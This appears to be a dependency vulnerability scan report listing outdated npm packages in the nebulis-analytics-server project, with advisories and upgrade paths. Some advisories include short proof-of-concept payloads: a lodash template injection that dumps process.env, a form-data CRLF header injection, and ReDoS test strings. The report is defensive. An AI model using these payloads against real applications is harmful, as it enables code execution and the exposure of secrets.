Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › lodash@2.4.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › rttc@9.3.4 › lodash@3.8.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-sequel@0.5.7 › lodash@3.10.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.11 or higher.
References
high severity
- Vulnerable module: xmlhttprequest-ssl
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › engine.io-client@1.8.3 › xmlhttprequest-ssl@1.5.3Remediation: Upgrade to sails@1.0.0.
Overview
xmlhttprequest-ssl is a fork of xmlhttprequest.
Affected versions of this package are vulnerable to Access Restriction Bypass. The package disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected.
PoC
const XMLHttpRequest = require('xmlhttprequest-ssl');
var xhr = new XMLHttpRequest(); /* pass empty object in version 1.5.4 to work around bug */
xhr.open("GET", "https://self-signed.badssl.com/");
xhr.addEventListener('readystatechange', () => console.log('ready state:', xhr.status));
xhr.addEventListener('loadend', loadend);
function loadend()
{
console.log('loadend:', xhr);
if (xhr.status === 0 && xhr.statusText.code === 'DEPTH_ZERO_SELF_SIGNED_CERT')
console.log('test passed: self-signed cert rejected');
else
console.log('*** test failed: self-signed cert used to retrieve content');
}
xhr.send();
Remediation
Upgrade xmlhttprequest-ssl to version 1.6.1 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to grunt-contrib-jst@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-cursor@0.0.6 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-adapter@0.10.7 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-backend@0.12.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-controller@0.10.9 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-gruntfile@0.10.11 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-model@0.10.12 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-sails.io.js@0.13.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views@0.10.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views-jade@0.10.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › zip-stream@0.4.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › merge-defaults@0.1.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › sails-generate-sails.io.js@0.14.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › switchback@2.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-criteria@0.11.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › rttc@1.0.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to grunt-contrib-watch@1.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › include-all@1.0.8 › lodash@3.10.1Remediation: Upgrade to include-all@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails-disk@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › lodash@3.10.1Remediation: Upgrade to sails-postgresql@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › include-all@1.0.8 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rttc@9.3.3 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › lodash@3.10.1Remediation: Upgrade to sails@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-schema@0.2.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › lodash@3.9.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-new@0.10.29 › lodash@3.9.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › lodash@2.4.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › rttc@9.3.4 › lodash@3.8.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-sequel@0.5.7 › lodash@3.10.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Code Injection due the improper validation of options.variable key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
Upgrade lodash to version 4.17.21 or higher.
References
high severity
- Vulnerable module: diff
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › mocha@3.5.3 › diff@3.2.0Remediation: Upgrade to mocha@5.0.3.
Overview
diff is a javascript text differencing implementation.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 48K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Mar 5th, 2018 - Fix issued
- Mar 6th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade diff to version 3.5.0 or higher.
References
high severity
- Vulnerable module: grunt
- Introduced through: grunt@1.0.1 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1Remediation: Upgrade to grunt@1.3.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1Remediation: Upgrade to sails@1.0.0.
Overview
grunt is a JavaScript task runner.
Affected versions of this package are vulnerable to Arbitrary Code Execution due to the default usage of the function load() instead of its secure replacement safeLoad() of the package js-yaml inside grunt.file.readYAML.
Remediation
Upgrade grunt to version 1.3.0 or higher.
References
medium severity
- Vulnerable module: basic-auth-connect
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › basic-auth-connect@1.0.0
Overview
basic-auth-connect is a Basic auth middleware for node and connect
Affected versions of this package are vulnerable to Observable Timing Discrepancy due to the use of a timing-unsafe equality comparison. An attacker can infer sensitive data.
Remediation
Upgrade basic-auth-connect to version 1.1.0 or higher.
References
medium severity
- Vulnerable module: form-data
- Introduced through: node-sass@4.14.1, yarn@0.27.5 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ghoulies@0.0.2 › jsdom@9.12.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › form-data@2.1.4
Overview
Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.
PoC
const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());
Remediation
Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.
References
medium severity
- Vulnerable module: joi
- Introduced through: jsonwebtoken@7.4.3 and passport-jwt@2.2.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › jsonwebtoken@7.4.3 › joi@6.10.1Remediation: Upgrade to jsonwebtoken@8.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › passport-jwt@2.2.1 › jsonwebtoken@7.4.3 › joi@6.10.1
Overview
Affected versions of this package are vulnerable to Uncaught Exception through the link validation. An attacker can cause the application to crash or become unresponsive by submitting deeply nested input that triggers an unhandled RangeError exception. This is only exploitable if input validation is performed without proper exception handling (such as missing try/catch blocks).
Remediation
Upgrade joi to version 17.13.4, 18.2.1 or higher.
References
medium severity
new
- Vulnerable module: js-yaml
- Introduced through: css-loader@0.25.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › js-yaml@3.5.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › js-yaml@3.5.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › istanbul@0.4.5 › js-yaml@3.15.0
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the storeMappingPair() function in loader.js when handling repeated aliases in merge sequences. An attacker can exhaust CPU resources and significantly degrade service availability by submitting malicious YAML documents.
Remediation
Upgrade js-yaml to version 4.2.0 or higher.
References
medium severity
- Vulnerable module: js-yaml
- Introduced through: css-loader@0.25.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › js-yaml@3.5.5Remediation: Upgrade to grunt@1.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › js-yaml@3.5.5Remediation: Upgrade to sails@1.0.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Prototype Pollution via the merge function. An attacker can alter object prototypes by supplying specially crafted YAML documents containing __proto__ properties. This can lead to unexpected behavior or security issues in applications that process untrusted YAML input.
Workaround
This vulnerability can be mitigated by running the server with node --disable-proto=delete or by using Deno, which has pollution protection enabled by default.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade js-yaml to version 3.14.2, 4.1.1 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
